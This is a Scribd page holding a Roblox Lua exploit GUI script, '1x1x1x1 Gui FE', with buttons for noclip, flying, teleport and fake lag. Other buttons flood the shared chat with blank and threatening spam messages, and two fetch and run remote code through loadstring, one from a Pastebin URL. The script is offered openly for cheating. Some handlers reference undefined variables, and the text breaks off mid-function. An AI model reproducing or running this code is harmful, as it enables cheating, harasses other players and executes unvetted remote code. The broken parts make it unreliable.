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My 1x1x1x1 Fe Gui

1x1x1x1 script roblox
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0% found this document useful (0 votes)
58 views21 pages

My 1x1x1x1 Fe Gui

1x1x1x1 script roblox
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 21

-- Gui to Lua

-- Version: 3.2

-- Instances:

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local Name = Instance.new("TextLabel")
local Credits = Instance.new("TextLabel")
local ball = Instance.new("TextButton")
local noclip = Instance.new("TextButton")
local fakelag = Instance.new("TextButton")
local plane = Instance.new("TextButton")
local destroychat = Instance.new("TextButton")
local sit = Instance.new("TextButton")
local fly = Instance.new("TextButton")
local tp = Instance.new("TextButton")
local message = Instance.new("TextButton")
local floatingpad = Instance.new("TextButton")
local r6 = Instance.new("TextButton")
local c00lgui = Instance.new("TextButton")
local rejoin = Instance.new("TextButton")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215)
Frame.Size = UDim2.new(0, 417, 0, 280)

Name.Name = "Name"
Name.Parent = Frame
Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Name.Size = UDim2.new(0, 417, 0, 25)
Name.Font = Enum.Font.GothamBold
Name.Text = "1x1x1x1 Gui FE"
Name.TextColor3 = Color3.fromRGB(0, 0, 0)
Name.TextScaled = true
Name.TextSize = 14.000
Name.TextWrapped = true

Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0)
Credits.Size = UDim2.new(0, 416, 0, 22)
Credits.Font = Enum.Font.GothamBold
Credits.Text = "By FishNoobAhh"
Credits.TextColor3 = Color3.fromRGB(0, 0, 0)
Credits.TextScaled = true
Credits.TextSize = 14.000
Credits.TextWrapped = true

ball.Name = "ball"
ball.Parent = Frame
ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0)
ball.Size = UDim2.new(0, 79, 0, 31)
ball.Font = Enum.Font.GothamBold
ball.Text = "become ball"
ball.TextColor3 = Color3.fromRGB(0, 0, 0)
ball.TextScaled = true
ball.TextSize = 14.000
ball.TextWrapped = true

noclip.Name = "noclip"
noclip.Parent = Frame
noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0)
noclip.Size = UDim2.new(0, 79, 0, 31)
noclip.Font = Enum.Font.GothamBold
noclip.Text = "noclip"
noclip.TextColor3 = Color3.fromRGB(0, 0, 0)
noclip.TextScaled = true
noclip.TextSize = 14.000
noclip.TextWrapped = true

fakelag.Name = "fakelag"
fakelag.Parent = Frame
fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0)
fakelag.Size = UDim2.new(0, 79, 0, 34)
fakelag.Font = Enum.Font.GothamBold
fakelag.Text = "fe fake lag"
fakelag.TextColor3 = Color3.fromRGB(0, 0, 0)
fakelag.TextScaled = true
fakelag.TextSize = 14.000
fakelag.TextWrapped = true
fakelag.MouseButton1Down:Connect(function()
while true do
game.Players.LocalPlayer.Character.Torso.Anchored = true
game.Players.LocalPlayer.Character.Humanoid.Jump = true
wait(0.1)
game.Players.LocalPlayer.Character.Torso.Anchored = false
game.Players.LocalPlayer.Character.Humanoid.Sit = true
wait(0.1)
end
end)
plane.Name = "plane"
plane.Parent = Frame
plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0)
plane.Size = UDim2.new(0, 83, 0, 31)
plane.Font = Enum.Font.GothamBold
plane.Text = "become a plane"
plane.TextColor3 = Color3.fromRGB(0, 0, 0)
plane.TextScaled = true
plane.TextSize = 14.000
plane.TextWrapped = true

destroychat.Name = "destroy chat"


destroychat.Parent = Frame
destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0)
destroychat.Size = UDim2.new(0, 83, 0, 31)
destroychat.Font = Enum.Font.GothamBold
destroychat.Text = "destroy chat fe (op warning)"
destroychat.TextColor3 = Color3.fromRGB(0, 0, 0)
destroychat.TextScaled = true
destroychat.TextSize = 14.000
destroychat.TextWrapped = true
destroychat.MouseButton1Down:Connect(function()
for i = 1, 4 do
local args = {
[1] = "\194\160\194\160",
[2] = "All"
}

game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):Wa
itForChild("SayMessageRequest"):FireServer(unpack(args))
end
end)
sit.Name = "sit"
sit.Parent = Frame
sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0)
sit.Size = UDim2.new(0, 83, 0, 34)
sit.Font = Enum.Font.GothamBold
sit.Text = "sit"
sit.TextColor3 = Color3.fromRGB(0, 0, 0)
sit.TextScaled = true
sit.TextSize = 14.000
sit.TextWrapped = true
sit.MouseButton1Down:Connect(function()
local human = kevyn.Parent:findFirstChild("Humanoid")
if (human ~= nil)then
human.Sit=true
end
end)
fly.Name = "fly"
fly.Parent = Frame
fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0)
fly.Size = UDim2.new(0, 89, 0, 31)
fly.Font = Enum.Font.GothamBold
fly.Text = "fly"
fly.TextColor3 = Color3.fromRGB(0, 0, 0)
fly.TextScaled = true
fly.TextSize = 14.000
fly.TextWrapped = true

tp.Name = "tp"
tp.Parent = Frame
tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0)
tp.Size = UDim2.new(0, 89, 0, 31)
tp.Font = Enum.Font.GothamBold
tp.Text = "click to tp"
tp.TextColor3 = Color3.fromRGB(0, 0, 0)
tp.TextScaled = true
tp.TextSize = 14.000
tp.TextWrapped = true
message.Name = "message"
message.Parent = Frame
message.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0)
message.Size = UDim2.new(0, 89, 0, 34)
message.Font = Enum.Font.GothamBold
message.Text = "messages"
message.TextColor3 = Color3.fromRGB(0, 0, 0)
message.TextScaled = true
message.TextSize = 14.000
message.TextWrapped = true
message.MouseButton1Down:Connect(function()
while true do
wait(2)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL")
wait(3)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL")
wait(3)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL")
wait(3)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL")
wait(3)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL")
wait(3)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL")
wait(3)

game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x
1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL")
wait(2)
end
end)

floatingpad.Name = "floatingpad"
floatingpad.Parent = Frame
floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0)
floatingpad.Size = UDim2.new(0, 79, 0, 34)
floatingpad.Font = Enum.Font.GothamBold
floatingpad.Text = "floating pad (requires r6)"
floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0)
floatingpad.TextScaled = true
floatingpad.TextSize = 14.000
floatingpad.TextWrapped = true

r6.Name = "r6"
r6.Parent = Frame
r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0)
r6.Size = UDim2.new(0, 79, 0, 34)
r6.Font = Enum.Font.GothamBold
r6.Text = "r15 to r6"
r6.TextColor3 = Color3.fromRGB(0, 0, 0)
r6.TextScaled = true
r6.TextSize = 14.000
r6.TextWrapped = true
r6.MouseButton1Down:Connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))()
end)
c00lgui.Name = "c00lgui"
c00lgui.Parent = Frame
c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0)
c00lgui.Size = UDim2.new(0, 88, 0, 34)
c00lgui.Font = Enum.Font.GothamBold
c00lgui.Text = "fe c00lgui"
c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.TextScaled = true
c00lgui.TextSize = 14.000
c00lgui.TextWrapped = true
c00lgui.MouseButton1Down:Connect(function()
loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)()
end)
rejoin.Name = "rejoin"
rejoin.Parent = Frame
rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0)
rejoin.Size = UDim2.new(0, 79, 0, 34)
rejoin.Font = Enum.Font.GothamBold
rejoin.Text = "rejoin"
rejoin.TextColor3 = Color3.fromRGB(0, 0, 0)
rejoin.TextScaled = true
rejoin.TextSize = 14.000
rejoin.TextWrapped = true
rejoin.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local gamePlaceId = game.PlaceId
local teleportService = game:GetService("TeleportService")
teleportService:Teleport(gamePlaceId, player)
end)

-- Scripts:

local function WVDQ_fake_script() -- ball.LocalScript


local script = Instance.new('LocalScript', ball)

script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera

local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3

local character = game.Players.LocalPlayer.Character

for i,v in ipairs(character:GetDescendants()) do


if v:IsA("BasePart") then
v.CanCollide = false
end
end

local ball = character.HumanoidRootPart


ball.Shape = Enum.PartType.Ball
ball.Size = Vector3.new(5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}

local tc = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
ball.RotVelocity -= Camera.CFrame.RightVector * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
ball.RotVelocity -= Camera.CFrame.LookVector * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
ball.RotVelocity += Camera.CFrame.RightVector * delta *
SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
ball.RotVelocity += Camera.CFrame.LookVector * delta *
SPEED_MULTIPLIER
end
--ball.RotVelocity = ball.RotVelocity -
Vector3.new(0,ball.RotVelocity.Y/50,0)
end)

UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(
0,
-((ball.Size.Y/2)+JUMP_GAP),
0
),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0)
end
end)

Camera.CameraSubject = ball
humanoid.Died:Connect(function() tc:Disconnect() end)
end)
end
coroutine.wrap(WVDQ_fake_script)()
local function UUBW_fake_script() -- noclip.LocalScript
local script = Instance.new('LocalScript', noclip)

local noClipEnabled = false

--Toggle noclipButton

script.parent.MouseButton1Click:Connect(function()
noClipEnabled = not noClipEnabled
script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF"
if noClipEnabled then
-- Enable Button
game:GetService("RunService").Stepped:Connect(function()
if noClipEnabled then
for _, part in
pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide
then
part.CanCollide = false
end
end
end
end)
else
--Disable noclipButton
for _, part in
pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end)
end
coroutine.wrap(UUBW_fake_script)()
local function JLHA_fake_script() -- plane.LocalScript
local script = Instance.new('LocalScript', plane)

function click()
repeat wait() until game:IsLoaded() and
game:service("Players").LocalPlayer.Character ~= nil;
wait(0.4)
for i, v in pairs(game:service("Players").LocalPlayer.Character:children())
do
if v ~= script then
v:Destroy()
end
end

local player = game:service("Players").LocalPlayer


local mouse = player:GetMouse()
local cam = workspace.CurrentCamera
local char = player.Character
local Torsoz = char:findFirstChild("Torso")
local NV = Vector3.new()
local Main
local W,S = false,false
local DoublePress = {nil,0}
script.Parent = char

local TrailParts = {}
local Acceleration = 0.08
local Speed = 0
local MinSpeed = 0
local MaxSpeed = 3.2
local DesiredDirection = cam.CoordinateFrame.lookVector
local Direction = DesiredDirection
local Roll = 0
local AllowTrails = true

script.Name = "AdvFlight"

local P = Instance.new("Part")
P.Anchored = true
P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.2,0.2,0.2)
P.Locked = true
P.TopSurface = 10
P.BottomSurface = 10
P.FrontSurface = 10
P.BackSurface = 10
P.LeftSurface = 10
P.RightSurface = 10
P.Material = "Pebble"
P.BrickColor = BrickColor.new("White")

local shipp
local shadow
local campart

function RAY(pos, dir, startpos, endpos, distleft, collidedlist)


collidedlist = collidedlist or {char}
startpos = startpos or pos
distleft = distleft or dir.unit * dir.magnitude
endpos = endpos or pos + distleft
local ray = Ray.new(pos, distleft)
local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist)
if hitz ~= nil then
if hitz.CanCollide == false then
table.insert(collidedlist, hitz)
local newpos = enz
local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude)
if newdistleft ~= NV then
return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01),
collidedlist)
end
end
end
return hitz, enz, ray
end

function FindSurface(part, position)


local obj = part.CFrame:pointToObjectSpace(position)
local siz = part.Size/2
for i,v in pairs(Enum.NormalId:GetEnumItems()) do
local vec = Vector3.FromNormalId(v)
local wvec = part.CFrame:vectorToWorldSpace(vec)
local vz = (obj)/(siz*vec)
if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) <
0.01) then
return wvec,vec
end
end
if part.className == "WedgePart" then
return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)),
Vector3.new(0,0.707,-0.707)
end
end

function HSV(H,S,V)
H = H % 360
local C = V * S
local H2 = H/60
local X = C * (1 - math.abs((H2 %2) -1))
local color = Color3.new(0,0,0)
if H2 <= 0 then
color = Color3.new(C,0,0)
elseif 0 <= H2 and H2 <= 1 then
color = Color3.new(C,X,0)
elseif 1 <= H2 and H2 <= 2 then
color = Color3.new(X,C,0)
elseif 2 <= H2 and H2 <= 3 then
color = Color3.new(0,C,X)
elseif 3 <= H2 and H2 <= 4 then
color = Color3.new(0,X,C)
elseif 4 <= H2 and H2 <= 5 then
color = Color3.new(X,0,C)
elseif 5 <= H2 and H2 <= 6 then
color = Color3.new(C,0,X)
end
local m = V - C
return Color3.new(color.r + m, color.g + m, color.b + m)
end

function Build(shiptype)
AllowTrails = true
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Ship" then
v:remove()
end
end
for i, v in pairs(TrailParts) do
for _,V in pairs(v[3]) do
V:Destroy()
end
end
local mdl = Instance.new("Model", char)
mdl.Name = "Ship"

------------------------ Speeder Ship Type -----------------------------


if shiptype == "Speeder" then

shipp = P:Clone()
shipp.Parent = mdl
shipp.Size = Vector3.new(1,1,2.2)
local shipwing1 = P:Clone()
shipwing1.Parent = mdl
shipwing1.Size = Vector3.new(0.6,1.2,2)
local mesh = Instance.new("SpecialMesh", shipwing1)
mesh.MeshType = "Wedge"
local shipwing2 = shipwing1:Clone()
shipwing2.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwing21 = P:Clone()
shipwing21.Parent = mdl
shipwing21.Size = Vector3.new(0.32,1.1,2.6)
local mesh = Instance.new("SpecialMesh", shipwing21)
mesh.MeshType = "Wedge"
local shipwing22 = shipwing21:Clone()
shipwing22.Parent = mdl
campart = P:Clone()
campart.Transparency = 1

local shipwi = P:Clone()


shipwi.Parent = mdl
shipwi.Size = Vector3.new(1,1,1.2)
local mesh = Instance.new("SpecialMesh", shipwi)
mesh.MeshType = "Wedge"
local shipwi2 = P:Clone()
shipwi2.Parent = mdl
shipwi2.Size = Vector3.new(0.7,0.7,0.84)
shipwi2.Material = "SmoothPlastic"
shipwi2.BrickColor = BrickColor.new("Pastel blue")
shipwi2.Reflectance = 0.6
local mesh = Instance.new("SpecialMesh", shipwi2)
mesh.MeshType = "Wedge"

shadow = P:Clone()
shadow.Parent = mdl
shadow.Name = "Shadow"
shadow.Material = "SmoothPlastic"
shadow.BrickColor = BrickColor.new("Really black")
local mesh = Instance.new("SpecialMesh",shadow)
mesh.MeshType = "Sphere"

TrailParts = {}
table.insert(TrailParts,{shipp,1,
{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18})
table.insert(TrailParts,{shipwing1,1,
{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
table.insert(TrailParts,{shipwing2,1,
{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
for _, V in pairs(TrailParts) do
for i = 1, V[7] do
local p = P:Clone()
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/asset/?id=9856898"
mesh.TextureId = "http://www.roblox.com/asset/?id=48358980"
p.BrickColor = BrickColor.new("Dark stone grey")
table.insert(V[3],p)
end
end

function ReposParts()
shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) *
CFrame.Angles(0,0,math.pi/2)
shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) *
CFrame.Angles(0,0,-math.pi/2)
shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) *
CFrame.Angles(0,0,math.pi/2)
shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) *
CFrame.Angles(0,0,-math.pi/2)
shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7)
shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015)
campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0)
end
cam.CameraSubject = campart
cam.CameraType = "Track"

shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p


ReposParts()

end

AllowTrails = true
end
Build("Speeder")

function B1D()
Build("Speeder")
end

function RollThatSht(direc)
if Roll == 0 then
for i = 1, 50 do
Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc
wait(0.02)
end
Roll = 0
end
end

function KD(key)
if key == "w" then
W = true
elseif key == "s" then
S = true
end

local rollpls = 0
if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then
DoublePress = {nil,0}
if key == "a" then
rollpls = -1
elseif key == "d" then
rollpls = 1
end
end

DoublePress = {key,tick()}
if rollpls ~= 0 then
RollThatSht(rollpls)
end
end

function KU(key)
if key == "w" then
W = false
elseif key == "s" then
S = false
end
end

function Equip()
end

function Unequip()
end

mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(B1D)
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)

local count = 0
local hue = 0
--game:GetService("RunService").Stepped:connect(function()
while wait(0.02) do

------ Speed --------


local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration)
if W == true then
Speed = Speed + valu
elseif S == true then
Speed = Speed - valu
end
if Speed > MaxSpeed then
Speed = MaxSpeed
elseif Speed < MinSpeed then
Speed = MinSpeed
end

------ left/right tilt ---------


local target = 180 +
math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z)))
local current = 180 +
math.floor(math.deg(math.atan2(Direction.x,Direction.z)))
local swing = 0
if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then
swing = target-current
else
swing = (current > target and -(math.abs(current-target) - 360)) or (current
< target and math.abs(current-target) - 360)
end

DesiredDirection = cam.CoordinateFrame.lookVector
------ direction smoothening ------
local dir = DesiredDirection.unit
if Direction ~= dir then
if (Direction - dir).magnitude < 0.01 then
Direction = dir
else
local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10
Direction = (Direction + dist).unit
end
end

shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit *


Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2))
ReposParts()

------ shadow ------


local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0))
local angles = CFrame.new()
if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className ==
"Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and
ghitz:IsA("BasePart"))) then
local wvec,vec = FindSurface(ghitz,genz)
angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0)
elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape ==
Enum.PartType.Ball) then
angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) *
CFrame.Angles(-math.pi/2,0,0)
end
shadow.CFrame = CFrame.new(genz) * angles
shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5)
shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position -
genz).magnitude /26)

------- Trails -----------------------


if AllowTrails == true then
count = (count+1)%1
hue = (hue+1) % 360
local rgb = HSV(hue,0.65,0.85)
for _,v in pairs(TrailParts) do
local to = (v[1].CFrame * v[5]).p
if Speed > MinSpeed + 0.2 then
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) *
CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0)
v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6])
v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b)
v[3][v[2]].Transparency = 0.15
v[3][v[2]].Parent = game.Players.LocalPlayer.Character
else
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].Parent = nil
end
v[4] = to
end
end

end
--end)

-- 138098590 -- plane destroyed sound


-- 133082569 -- propeller 2
-- 135645246 -- propeller 1
--[[ Possible Game names
Aeroscape
Airbound
Aerialtude
]]
end

script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(JLHA_fake_script)()
local function SSWSNG_fake_script() -- fly.LocalScript
local script = Instance.new('LocalScript', fly)

speeds = 1

local speaker = game:GetService("Players").LocalPlayer

local chr = game.Players.LocalPlayer.Character


local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")

nowe = false

script.parent.MouseButton1Down:connect(function()

if nowe == true then


nowe = false

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,
true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,
true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics
,true)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)

speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
else
nowe = true

for i = 1, speeds do
spawn(function()

local hb = game:GetService("RunService").Heartbeat

tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and
chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and
hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end

end)
end
game.Players.LocalPlayer.Character.Animate.Disabled = true
local Char = game.Players.LocalPlayer.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or
Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(0)
end

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false
)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,
false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,
false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics
,false)

speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)

speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
end
if
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").
RigType == Enum.HumanoidRigType.R6 then

local plr = game.Players.LocalPlayer


local torso = plr.Character.Torso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0

local bg = Instance.new("BodyGyro", torso)


bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or
game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
game:GetService("RunService").RenderStepped:Wait()

if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then


speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0)
and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity =
((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) +
((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,
(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r =
ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0
and speed ~= 0 then
bv.velocity =
((game.Workspace.CurrentCamera.CoordinateFrame.lookVector *
(lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame *
CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) -
game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
-- game.Players.LocalPlayer.Character.Animate.Disabled =
true
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame *
CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
